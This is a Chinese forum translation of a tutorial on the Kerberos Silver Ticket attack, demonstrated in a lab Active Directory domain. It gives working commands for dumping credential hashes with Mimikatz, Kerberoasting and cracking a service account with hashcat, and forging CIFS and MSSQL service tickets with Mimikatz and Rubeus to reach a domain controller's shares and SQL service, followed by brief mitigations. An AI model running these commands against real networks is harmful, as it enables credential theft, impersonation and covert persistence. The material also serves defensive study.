首页
社区
课程
招聘
[翻译]域持久性: Silver凭证攻击
发表于: 2022-5-15 13:43 689

[翻译]域持久性: Silver凭证攻击

2022-5-15 13:43
689

原文标题:Domain Persistence: Silver Ticket Attack

原文地址:https://www.hackingarticles.in/domain-persistence-silver-ticket-attack/

翻译作者:梦幻的彼岸


简介

Benjamin Delpy(mimikatz的创造者)在Blackhat 2014中介绍了他滥用Kerberos会话的Silver凭证攻击。Silver凭证是伪造的服务或特定服务的TGS凭证,可用于在与活动目录企业域连接的被攻击系统上保持持久性。在攻击中,攻击者可以制作一个有效的服务TGS,并使用相关的NTLM哈希值可以进一步制作其他服务的凭证。这篇文章包含与Silver凭证攻击相关的基本理论和演示。

Silver凭证理论

在我们开始之前,强烈建议你在这里阅读关于golden凭证的内容。

Kerberos的基本流程可以通过阅读我们的文章来了解。一旦你阅读并理解了Kerberos的工作原理,我们就可以继续进行Silver凭证攻击了。

在golden凭证攻击中,我们使用了krbtgt账户的哈希值,而在Silver凭证攻击中,我们将使用服务账户的密码哈希值。服务账户的密码哈希值可以通过各种方法提取,Kerberoasting就是其中之一。由于Silver凭证攻击不需要中间的TGT,Silver凭证可以在不与域控制器进行任何通信的情况下被伪造,因此比golden凭证攻击更隐蔽。

Silver凭证攻击的工作方式如下所述:

  • 第一步: 利用服务账户的密码哈希值(NTLM哈希值)。用户可以使用Mimikatz、Kerberoasting等工具来执行此操作。
  • 第二步: 通过指定以下内容来获取新票证:
    • Service hash
    • Service name
    • Target FQDN
    • Domain SID
  • 第三步: 将新创建的Silver凭证注入到终端会话中,以利用和保持持久性

让我们看看它的实际效果。

通过Mimikatz 获取Silver凭证

在你现在看到的演示中,你会注意到我们使用了机器账户 "dc1$"的NTLM哈希值。你们中的许多人可能会感到困惑,因为我们不得不使用一个服务账户的哈希值。请注意,一台计算机还承载着多种服务,其中之一就是通用互联网文件系统服务(CIFS--文件共享服务)。因此,CIFS服务的密码哈希值与机器账户相同。

目标:制作一个silver凭证,在dc1.ignite.local机器上建立CIFS(共享)的持久性

由于攻击都是与维持持久性有关,我们必须假设以下情况:

  • 攻击者已经入侵了一台低权限的受害者机器(这里,用户名:harshitrajpal)。
  • 攻击者以某种方式获得了目标机器(dc1.ignite.local)的密码/NTLM
  • 攻击者在低权限机器上制作了silver凭证,以获得dc1.ignite.local上的CIFS服务的访问权和维持持久性。


让我们首先向您展示当前的用户、凭证,以及当我们访问dc1.ignite.local上的共享时会发生什么

上述机器是低权限的机器。

接下来,我们需要dc1.ignite.local电脑账户的哈希值。可能有各种方法,但我们将快速跟踪并使用Mimikatz来获得它。让我们先激活Mimikatz,用sekurlsa::logonpasswords命令转储哈希值。注意,你可以按照任何方法来转储哈希值。

privilege::debug
sekurlsa::logonpasswords

这将转储机器内存中的所有哈希值,包括机器账户的哈希值。稍微滚动一下,我们发现我们的机器账户 "dc1$"的NTLM

接下来,为了伪造一个silver凭证,我们必须找到域名的SID,使用命令可以很容易找到。请注意,最后一个连字符之后的数字(在这里,1115被称为相对SID,我们不希望这样。该部分之前的所有内容都是与我们相关的域名SID)

whoami /user

现在,为了伪造一个silver凭证,可以使用Mimikatz的 "golden "模块。我们只需插入我们的变量。

在这里,我使用/ptt标志,直接在当前的shell中插入凭证。

/id:它是任何随机的ID,在检查时可以在事件日志中看到。可以是随机的。

/sid:关于域名。在这里阅读更多关于SID的信息。

/domain:目标域的有效FQDN

/service:生成凭证的服务

/rc4:受害者机器的计算机账户的NTLM哈希值(之前发现的)。

/user:冒充的用户名

kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
klist

正如你在上面看到的,现在一个凭证已经被保存在当前会话的内存中。现在你将能够访问目标机器的CIFS。

dir \\dc1.ignite.local\c$


然而,如果你不想立即在内存中插入凭证,而是希望保存一个ticket.kirbi文件,你只需去掉"/ptt "标志,其余部分保持原样。

kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
klist
dir


现在,这个kirbi凭证可以与Rubeus ptt模块等工具一起使用,并插入到内存中,随时使用。

rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\dc1.ignite.local\c$


当然,上面的整个过程也可以只用Rubeus来完成。

通过Rubeus 获取Silver 凭证

我们已经看到了CIFS作为一个例子,如果你跟随文章到目前为止,你也可以用Rubeus复制相同的东西,只需滚动一下鼠标就可以使用这些命令。然而,这次我想以不同的服务为目标,所以我设置了一个SQL服务器,并指定该服务由用户 "sqluser "运行(可以通过运行->services.msc->SQL->properties->logon完成)。

这将使SQL服务通过我们新创建的服务帐户运行。

现在,我们需要破坏这个账户的NTLM哈希值。我们将使用Kerberoasting攻击。请按照我们的指南来理解这个攻击,但简单地说,你在Rubeus中运行以下命令。

/domain: 目标FQDN

/creduser: 任何有效的被攻击的用户名

/credpassword: 被攻击的用户的有效密码

/nowrap: 为了使凭证blob(二进制对象)在Rubeus中以单行形式出现

rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap

正如你所看到的,Rubeus已经自动确定了一个有效的Kerberoastable账户并转储了它的TGS。现在我们将使用Hashcat从这个TGS中离线提取密码

hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force

几秒钟后,我们收到了我们的明文密码,"Password@1"

现在,让我们用Rubeus将其转换成NTLM哈希值(rc4_hmac),因为我们的silver 凭证需要一个有效的NTLM

rubeus.exe hash /password:Password@1


我们还需要知道SID。这可以用whoami /user命令来完成

最后,为了在Rubeus中为当前用户伪造一个凭证,我们使用以下命令:

rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt

/ptt 选项完全导入当前会话中的凭证。如果没有/ptt,ticket.kirbi文件将被保存。但正如你所看到的,现在已经创建了一个有效的silver 凭证


我们现在可以尝试登录服务器,运行一个显示主机名的基本命令。

sqlcmd -S 192.168.1.2,1433
SELECT HOST_NAME() AS HostName
go

然后就可以了! 正如你所看到的,我们的用户现在可以使用我们刚刚伪造的凭证连接到SQL服务。

缓解措施

由于该攻击是基于一个离线机制,并且没有DC参与,所以很难缓解该攻击。然而,仍然可以采取以下步骤来进行防护:

  • 启用PAC验证。如果启用,提交的凭证应首先由DC验证。因此,Silver 将被立即拒绝。
  • 使用强大的密码以防止暴力破解。
  • 控制必要的权限或将某些可以使用特定服务的用户列入白名单。
  • 缓解Kerberoasting问题

总结

这篇文章谈到了Silver 凭证攻击,以及如何使用这种方法伪造一个特定服务的TGS。我们还使用两个工具实际演示了攻击者如何伪造和利用Silver 凭证。在现实生活中,获得一张golden 凭证是相当困难的,但Silver可以很容易地被伪造,因为人们对Kerberos保护的认识还不是很到位。希望你喜欢这篇文章。谢谢你的阅读。




[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//